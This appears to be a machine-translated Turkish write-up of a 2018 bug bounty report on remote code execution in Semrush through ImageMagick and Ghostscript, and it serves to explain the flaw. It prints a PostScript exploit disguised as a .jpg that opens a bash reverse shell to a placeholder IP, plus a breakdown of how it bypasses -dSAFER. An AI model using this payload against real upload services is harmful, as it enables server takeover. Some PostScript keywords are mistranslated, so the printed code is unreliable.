Dosya yükleme güvenlik açığı türünün kapsamı, farklı dosya türlerinin sayısı kadar geniştir. Bu güvenlik açıkları her zaman mevcut bir güvenlik sorunudur. PHP dosyalarının güvenli olmayan şekilde işlenmesinin sistemlerin güvenliğinin ihlal edilmesine yol açtığının altında yatan mekanizmanın anlaşılması açık olsa da, belge dosyalarının yük taşıma aracı olarak kullanılması çok açık olmayabilir.
Siber güvenlik sektörünün genç üyeleri için bu belirsizlik kısmen modern matbaaya hakim olma yarışının arkasındaki tarihe bağlanabilir.
Güvenlik Açığı
31 Ağustos 2018’de güvenlik araştırmacısı Frans Rosén, dosya yükleme güvenlik açığıyla ilgili olarak Semrush programına bir rapor sundu.
Hizmet olarak yazılım (SaaS) sağlayıcısı olan Semrush Holdings, arama motoru optimizasyonunda (SEO) liderdir. Semrush platformu, işletmelerin çevrimiçi görünürlüklerini artırmalarına ve dijital pazarlama kampanyalarını yönetmelerine yardımcı olacak bir araç paketi sunar.
Araç setinde, pazarlama ajanslarına, son derece özelleştirilebilir PDF raporlarını kolaylıkla oluşturmak için platformlar arası pazarlama verilerini toplama yeteneği sağlayan Raporum özelliği bulunmaktadır. Bu raporlar daha sonra sağlanan değeri ve elde edilen sonuçları göstermek için müşterilere ve paydaşlara sunulabilir.
Mevcut özelleştirme seçeneklerinden biri, şirketinizin logosunu rapora yükleme olanağıdır. Bu özelliği kolaylaştırmak için açık kaynaklı görüntü işleme paketi ImageMagick, rapor oluşturma kontrol paneline entegre edildi.
ImageMagick ve İlgili Güvenlik Açıkları
Rosén bunu başardı uzaktan kod yürütme (RCE) ImageMagick’in yamasız bir sürümünün kullanıldığını keşfettiğinde bir Semrush sunucusunda. Rosén’in raporu, biraz eski olmasına rağmen, belge işlemedeki güvenlik açıklarının iç işleyişini derinlemesine anlamak için harika bir örnek olay çalışması olarak hizmet ediyor.
Bununla birlikte, araştırmacılar doğrudan ImageMagick’te ve ona bitişik olan ve o zamandan beri CVE’ler atanan çok sayıda hata buldular; bunlardan bazıları aşağıda tartışılacak olandan çok daha yeniydi:
Sayfa Açıklama Dilleri
A sayfa tanımlama dili (PDL), yazıcıların yorumlayabildiği komutları kullanarak bir sayfadaki metin, resim ve grafiklerin düzenini tanımlar. Bu dilleri kullanarak, basılı medyanın görünümü üzerinde hassas kontrol sağlamak mümkündür, bu da onları profesyonel kalitede belgeler oluşturmak için ideal kılar. Sayfa tanımlama dilleri statik veya dinamik bir formata sahiptir:
- A statik biçim İşlemler ve bunların argümanları için sabit bir dizi komut ve kural kullanır.
- A dinamik biçim Komutları genişletilebildiği için statik muadilinden daha esnektir. Bu formatta bir sayfa şu şekilde tanımlanır: yürütülen bir programyalnızca yazdırılacak veriler yerine.
PostScript
PostScript dinamik formatlı bir sayfa tanımlama dilidir. Tam özellikli bir programlama dili olarak, grafik tasarım yeteneklerine ek olarak değişkenler, koşullu yürütme, döngüler, kullanıcı tanımlı prosedürler, çeşitli veri türleri, dosya girişi/çıkışı, işlevler ve etkileşimli hata ayıklama gibi özellikleri de destekler. .
PostScript’te:
- A yığın Nesnelerin geçici olarak saklanması için kullanılan hafıza alanıdır. Nesneler itti yığının üzerine ve patladı tüketildikçe kapanır. Yığın, son giren ilk çıkar esasına göre çalışır; bu, yığına yerleştirilen son nesnenin ilk tüketilen olacağı anlamına gelir.
- Belirli eylemleri gerçekleştiren işlevlere/komutlara şu adlar verilir: operatörler.
- Dize değerleri parantez içine alınır: (Merhaba dünya!)
Sözlükler anahtar/değer çiftlerinin tablolarıdır. Bu tablolar yorumlayıcının sanal belleğinde saklanır. İsimler ve bunlara karşılık gelen tanımlar için arama tabloları görevi görürler. Üç sözlük var:
- userdict, kullanıcı tanımlı nesneleri geçerli oturum bağlamında saklayan yazılabilir bir sözlüktür.
- globaldict, farklı bağlamlarda küresel olarak erişilebilen, yazılabilir bir sözlüktür.
- systemdict, önceden tanımlanmış nesneleri ve yerleşik komutları içeren salt okunur bir sözlüktür.
Tercüman bir adla karşılaştığında, o anahtar için bu sözlüklerde arama yapacaktır – ile başlayarak kullanıcı sözü ve ile biten sistemdict.
PostScript bir postfix dili olduğundan işlev çağrıları sağdan sola doğru okunur. kesinlikle Operatör bir değeri bir anahtara bağlar. Örneğin:
/example_variable (H1) def |
H1 değerine sahip example_variable adlı bir değişkeni tanımlar.
GhostScript
“Ghostscript’in çalışmasını sağlamak için Postscript’i kullanabilirsiniz, bu da sunucuda isteğe bağlı komutların tetiklenmesine olanak tanıyarak Uzaktan Kod Yürütülmesine yol açar.”
Diğer birçok programlama dili gibi PostScript de bir tercüman komutlarını yürütmek ve bunları eylemlere/çıktıya dönüştürmek için. PostScript’te yazılmış yürütülebilir program kullanılarak açıklanan bir sayfa yorumlayıcıya sunulur çıkış cihazını kontrol etme.
GhostScript, ImageMagick tarafından PostScript ve PDF dosyaları için kullanılan yorumlayıcıdır. ImageMagick bu dosya türlerini işlediğinde, bunları yorumlamak ve ImageMagick’in işleyebileceği bir formata dönüştürmek için GhostScript’e güvenir.
GhostScript bir komut satırı aracı olarak mevcuttur:
Yukarıdaki görüntüde PostScript ekleme işlemi gerçekleştirilmiş ve yığın boyutuyla belirtilen değer yığına itilmiştir. <1>. Yığın komutunun verilmesi değeri yazdırır.
GhostScript’te, bir cihazla etkileşimi kontrol eden ayarlara şu ad verilir: cihaz parametreleri.
- .LockSafetyParams aygıt parametresi, PostScript programlarının potansiyel olarak tehlikeli ayar yapılandırmalarını değiştirmesini engeller. Her ikisinin de Boolean değerini alır doğru veya YANLIŞ. Bu parametrenin değeri varsa doğru mevcut cihaz için, değerine sahip yeni bir cihaz ayarlama girişimleri YANLIŞ sonuçlanacak geçersiz erişim hata.
- OutputFile parametresi dosyaları yazmak için kullanılır. Çıktı için dosya adını belirten bir dize değeri alır.
- %pipe% komutu yorumlayıcıya herhangi bir kabuk komutuyla yeni bir işlem başlatma talimatını verir. .LockSafetyParams true olarak ayarlanırsa geçersiz erişim hatasıyla karşılaşılır.
Raporun yayınlandığı tarihte GhostScript bir isteğe bağlı -dSAFER güvenli sanal alan modu. SAFER modu dosyalara, cihaz seçimine ve cihaz parametrelerine erişim kontrollerine olanak sağlar. Bu modda cihazın .LockSafetyParams parametresi şu şekilde ayarlanır: doğru.
-dNOSAFER modunda, PostScript programlarının işletim sistemi izin koruması olmayan sistem dosyalarını okumasına, yazmasına, yeniden adlandırmasına veya silmesine izin verilir. Bu modda cihazın .LockSafetyParams parametresi şu şekilde ayarlanır: YANLIŞ.
-dSAFER anahtarının yokluğunda, savunmasız sistemde kabuk komutlarını çalıştırmak için %pipe% komutu kullanılarak GhostScript’ten kolaylıkla yararlanılabilir.
politika.xml
“Tavis Ormandy yakın zamanda politika.xml’in EPS,PS,PDF ve XPS’yi devre dışı bırakması gerektiğini çünkü tüm bunların Ghostscript’i tetikleme yolları olduğunu da belirtti…”
Rosén’in raporunda Tavis Ormandy’nin ImageMagick’teki kodlayıcılar için varsayılan yapılandırma ayarlarıyla ilgili endişelerine atıfta bulunuyor.
21 Ağustos 2018’de Google’ın Project Zero güvenlik araştırmacısı Tavis Ormandy, GhostScript’teki çeşitli güvenlik açıklarını ortaya çıkardı. Bu güvenlik açıklarından biri PoC’nin Rosén tarafından ayarlanmasını ve kullanılmasını sağladı. Ormandy ve GhostScript ekibi arasındaki konuşmayı okuyun.
ImageMagick, ayarları özelleştirmek, kaynakları yönetmek, performansı optimize etmek ve güvenliği geliştirmek için harici yapılandırma dosyalarına güvenir. Güvenlik ilkesinin özelleştirilmesi, Policy.xml dosyasında gerçekleştirilir.
Belirli bir dosya türünün yüklenmesini engelleme yönergeleri açıkça ayarlanmamışsa dosyalar ImageMagick tarafından işlenecek ve uzantı olarak GhostScript’e gönderilecektir. O zamanlar bu tür varsayılan yönergeler yoktu ve ImageMagick’in PostScript verileriyle sunulduğunda PS ve EPS dosyalarını oluşturmaması için manuel değişiklikler yapılması gerekiyordu.
Güvenli yapılandırma
Tavis Ormandy tarafından sağlanan PoC:
$ *cat Shellexec.jpeg* %!PS userdict /setpagedevice undef yasal { null geri yükleme } durduruldu { pop } eğer yasal mark /OutputFile (%pipe%id) currentdevice putdeviceprops |
İstismar
%!PS userdict /setpagedevice undef yasal { null geri yükleme } durduruldu { pop } eğer yasal mark /ÇıktıDosyası (%pipe%bash -c ‘bash -i >& /dev/tcp/[IP]/8080 0>&1’) geçerli cihaz putdeviceprops |
[IP] dinleme adresi için bir yer tutucudur.
Bu dosya .jpg olarak kaydedildi ve Raporlarım’a yüklendi.
PostScript belgelerini görüntüleyin.
Senaryo Dağılımı
- Komut dosyası, aşağıdaki içeriğin PostScript’te yazıldığını belirten %!PS ile başlar.
- Undef operatörü bir sözlük girişini hem anahtarı hem de değeri tamamen kaldırır. Bu, setpagedevice komutunu bilgisayardan kaldırmak için kullanılır. kullanıcı sözücihaz ayarlarında herhangi bir değişiklik yapılmasını önler.
- yasal bir kullanıcı sözü sayfa boyutlarını ayarlayan operatör. Bu, setpagedevice kaldırıldığından beri bir hatayı tetikleyecektir.
- Dizi hataları kontrol ederse { null restore }, { pop }’u durdurdu. Böyle bir durum meydana gelirse, cihazı son kaydedilen durumuna geri döndürür. Save komutu çağrılmadığından ve bu nedenle geri dönülecek bir durum olmadığından ve { null restore } işlem yapılmayan bir yer tutucudur (hiçbir şey yapmamak anlamı) – betik hataları olduğunda geri döndürülecek durum, yorumlayıcının başlatıldığı andaki başlangıç durumudur. Bu sefer dışında setpagedevice komutu kaldırıldığı için hiçbir güvenlik ayarı uygulanamaz. -dSAFER seçeneğini etkili bir şekilde hariç tutarak .LockSafetyParams ayarını yapın yanlış yapmak.
- Cihazı bir sayfaya ayarlamak için yasal operatör tekrar kullanılır.
- Bayrak ayarlandığında YANLIŞOutputFile kontrolü bir tetiklemez geçersiz erişim Yetkisiz erişim girişiminde bulunulursa hata oluşur.
- putdeviceprops, currentdevice üzerindeki aygıt özelliklerini ayarlar.
- Mark PostScript operatörü geçerli durumu yığına aktarmak için kullanılır. Bu, daha sonra geri yükleme operatörünü kullanarak durumu o noktaya geri yükleyebilmeniz için programdaki bir noktayı işaretlemenin bir yoludur.
- currentdevice putdeviceprops parantez içindeki yeni tanımlanan çıkış komutunu cihaza uygular.
- %pipe% yorumlayıcıya yeni bir işlem başlatması talimatını verir; bu durumda cihazda bir kabuk açacak olan bash -c komutunu çalıştırın. Bu kabuğun içinde ‘bash -i >& /dev/tcp/ komutu[IP]/8080 0>&1’ çalıştırıldı. Bu, saldıran makineye ters kabuk bağlantısı oluşturacaktır. >& standart çıktıyı yeniden yönlendirir (stdout) ve standart hata (stderr) saldırgan makineye. 0>&1, girdiyi saldırganın kabuğundan cihazdaki kabuğa yönlendirirken.
Çözüm
Rosén’in çabaları bir ödül ve ikramiye miktarıyla sonuçlandı. Semrush ekibi ayrıca Rosén’in hizmetlerinin ücretli işlevselliğini test etmesine olanak tanıyan bir promosyon kodu da verdi.
Test yaparken PostScript uyumlu dosya türlerine izin verilip verilmediğini kontrol ettiğinizden emin olun; çünkü bu, dosya yükleme güvenlik açığına neden olabilir.
Kaynaklar
Baskı Merkezi Özellikleri – Adobe PostScript ve Adobe PDF. (nd). https://web.archive.org/web/20160413212438/https://www.adobe.com/print/features/psvspdf/
Ormandy, T. (nd). oss-sec: Daha Fazla Ghostscript Sorunu: Policy.xml’deki PS kodlayıcılarını varsayılan olarak devre dışı bırakmalı mıyız? https://seclists.org/oss-sec/2018/q3/142
Sistemler, A. (1999). PostScript Dil Referansı, Üçüncü Baskı. 29 Ağustos 2024’te https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf adresinden erişildi.
CERT/CC Güvenlik Açığı Notu VU#332928. (nd). https://www.kb.cert.org/vuls/id/332928